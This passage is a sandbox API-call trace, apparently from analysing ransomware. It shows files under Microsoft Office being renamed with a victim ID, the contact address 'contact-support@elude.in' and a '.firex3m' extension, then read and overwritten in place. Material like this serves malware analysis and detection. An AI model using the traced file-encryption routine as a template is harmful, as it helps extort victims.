cAlternateFileName="CMNTY_~1.FIR")) returned 0x6d5540 [0136.683] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0136.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0136.683] GetProcessHeap () returned 0x630000 [0136.683] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1b41) returned 0x7219758 [0136.683] GetProcessHeap () returned 0x630000 [0136.683] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1b41) returned 0x721b2a8 [0136.683] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.683] ReadFile (in: hFile=0x68c, lpBuffer=0x7219758, nNumberOfBytesToRead=0x1b20, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7219758*, lpNumberOfBytesRead=0x55fff0c*=0x1b20, lpOverlapped=0x0) returned 1 [0138.469] GetProcessHeap () returned 0x630000 [0138.469] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0138.469] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.469] WriteFile (in: hFile=0x68c, lpBuffer=0x721b2a8*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x721b2a8*, lpNumberOfBytesWritten=0x55fff0c*=0x1b20, lpOverlapped=0x0) returned 1 [0138.470] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.470] WriteFile (in: hFile=0x68c, lpBuffer=0x721cdc7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x721cdc7*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0138.470] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.470] WriteFile (in: hFile=0x68c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0138.470] CloseHandle (hObject=0x68c) returned 1 [0138.470] GetProcessHeap () returned 0x630000 [0138.470] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x721b2a8 | out: hHeap=0x630000) returned 1 [0138.470] GetProcessHeap () returned 0x630000 [0138.470] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7219758 | out: hHeap=0x630000) returned 1 [0138.470] GetProcessHeap () returned 0x630000 [0138.470] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0138.470] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.470] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x187a9350, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1b5e, dwReserved0=0xa707496, dwReserved1=0x7219750, cFileName="CMNTY_01.MID.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CMNTY_~1.FIR")) returned 0x6d5200 [0138.471] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0138.471] Sleep (dwMilliseconds=0x1) [0139.975] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms", len=0x5f | out: pbstr=0x55fff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 1 [0139.975] GetProcessHeap () returned 0x630000 [0139.975] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c64) returned 0x7203db8 [0139.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0142.400] CloseHandle (hObject=0x6dc) returned 1 [0142.403] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.412] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.821] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.821] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe46b79f0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe46b79f0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe48a788d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d95, dwReserved0=0x740072, dwReserved1=0x650040, cFileName="HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOMEST~4.FIR")) returned 0x6d4e00 [0143.822] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0143.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0143.822] GetProcessHeap () returned 0x630000 [0143.822] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2da1) returned 0x7264620 [0143.822] GetProcessHeap () returned 0x630000 [0143.822] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2da1) returned 0x72673d0 [0143.822] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.822] ReadFile (in: hFile=0x6dc, lpBuffer=0x7264620, nNumberOfBytesToRead=0x2d80, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7264620*, lpNumberOfBytesRead=0x55fff0c*=0x2d80, lpOverlapped=0x0) returned 1 [0145.610] GetProcessHeap () returned 0x630000 [0145.610] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0145.610] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.610] WriteFile (in: hFile=0x6dc, lpBuffer=0x72673d0*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72673d0*, lpNumberOfBytesWritten=0x55fff0c*=0x2d80, lpOverlapped=0x0) returned 1 [0145.950] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.950] WriteFile (in: hFile=0x6dc, lpBuffer=0x726a14f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x726a14f*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0145.950] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.950] WriteFile (in: hFile=0x6dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0145.950] CloseHandle (hObject=0x6dc) returned 1 [0145.950] GetProcessHeap () returned 0x630000 [0145.950] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72673d0 | out: hHeap=0x630000) returned 1 [0145.950] GetProcessHeap () returned 0x630000 [0145.950] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7264620 | out: hHeap=0x630000) returned 1 [0145.950] GetProcessHeap () returned 0x630000 [0145.950] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0145.950] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0145.951] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe46b79f0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe46b79f0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1cf1ccc0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2db9, dwReserved0=0xa707496, dwReserved1=0x7264618, cFileName="HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOMEST~4.FIR")) returned 0x6d4e40 [0145.951] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0145.951] Sleep (dwMilliseconds=0x1) [0146.025] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONGuide.onepkg", len=0x43 | out: pbstr=0x55fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONGuide.onepkg") returned 1 [0146.025] GetProcessHeap () returned 0x630000 [0146.025] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2734) returned 0x71f7c78 [0146.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONGuide.onepkg" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onguide.onepkg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0146.092] CloseHandle (hObject=0x708) returned 1 [0146.092] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.096] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONGuide.onepkg" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onguide.onepkg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONGuide.onepkg.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onguide.onepkg.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.096] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.097] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONGuide.onepkg.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcda3b5c7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcda3b5c7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcfce125, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x499f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONGuide.onepkg.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ONGUID~1.FIR")) returned 0x6d4f40 [0146.097] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0146.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONGuide.onepkg.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onguide.onepkg.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0146.097] GetProcessHeap () returned 0x630000 [0146.097] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71c0048 [0146.097] GetProcessHeap () returned 0x630000 [0146.097] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ec0048 [0146.098] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.098] ReadFile (in: hFile=0x6d0, lpBuffer=0x71c0048, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71c0048*, lpNumberOfBytesRead=0x55fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0153.203] GetProcessHeap () returned 0x630000 [0153.203] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeeb8 [0153.203] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.203] WriteFile (in: hFile=0x6d0, lpBuffer=0x6ec0048*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec0048*, lpNumberOfBytesWritten=0x55fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0153.203] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.203] WriteFile (in: hFile=0x6d0, lpBuffer=0x6ecb447*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecb447*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0153.205] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.205] WriteFile (in: hFile=0x6d0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0153.205] CloseHandle (hObject=0x6d0) returned 1 [0153.205] GetProcessHeap () returned 0x630000 [0153.205] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec0048 | out: hHeap=0x630000) returned 1 [0153.205] GetProcessHeap () returned 0x630000 [0153.205] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71c0048 | out: hHeap=0x630000) returned 1 [0153.205] GetProcessHeap () returned 0x630000 [0153.205] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeeb8 | out: hHeap=0x630000) returned 1 [0155.505] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.505] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONGuide.onepkg.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcda3b5c7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcda3b5c7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x214319e7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x49a16, dwReserved0=0xa707496, dwReserved1=0x71c0040, cFileName="ONGuide.onepkg.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ONGUID~1.FIR")) returned 0x6d5280 [0155.506] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0155.506] Sleep (dwMilliseconds=0x1) [0155.528] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\PowerViewRes.el.xap", len=0x65 | out: pbstr=0x55fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\PowerViewRes.el.xap") returned 1 [0155.528] GetProcessHeap () returned 0x630000 [0155.528] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b54) returned 0x707d3d0 [0155.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\PowerViewRes.el.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\el\\powerviewres.el.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0155.535] CloseHandle (hObject=0x688) returned 1 [0155.535] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0155.535] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\PowerViewRes.el.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\el\\powerviewres.el.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\PowerViewRes.el.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\el\\powerviewres.el.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0155.540] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.540] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\PowerViewRes.el.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1341a2e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15365236, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x53c40, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.el.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5280 [0155.540] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0155.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\PowerViewRes.el.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\el\\powerviewres.el.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0155.540] GetProcessHeap () returned 0x630000 [0155.540] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x702e910 [0155.541] GetProcessHeap () returned 0x630000 [0155.541] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7039d40 [0155.541] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.541] ReadFile (in: hFile=0x688, lpBuffer=0x702e910, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x702e910*, lpNumberOfBytesRead=0x55fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0164.110] GetProcessHeap () returned 0x630000 [0164.110] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176480 [0164.110] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.110] WriteFile (in: hFile=0x688, lpBuffer=0x7039d40*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7039d40*, lpNumberOfBytesWritten=0x55fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0164.110] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.110] WriteFile (in: hFile=0x688, lpBuffer=0x704513f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x704513f*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0164.112] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.112] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0164.112] CloseHandle (hObject=0x688) returned 1 [0164.112] GetProcessHeap () returned 0x630000 [0164.112] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7039d40 | out: hHeap=0x630000) returned 1 [0164.112] GetProcessHeap () returned 0x630000 [0164.113] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x702e910 | out: hHeap=0x630000) returned 1 [0164.115] GetProcessHeap () returned 0x630000 [0164.115] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176480 | out: hHeap=0x630000) returned 1 [0164.115] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0164.115] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\PowerViewRes.el.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1341a2e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c410a5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x53c64, dwReserved0=0xa707496, dwReserved1=0x702e908, cFileName="PowerViewRes.el.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d4ec0 [0164.116] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0164.116] Sleep (dwMilliseconds=0x1) [0164.119] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1048\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x55fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1048\\PowerPivotExcelClientAddIn.rll") returned 1 [0164.119] GetProcessHeap () returned 0x630000 [0164.119] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2c00) returned 0x707d3d0 [0164.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1048\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1048\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0165.604] CloseHandle 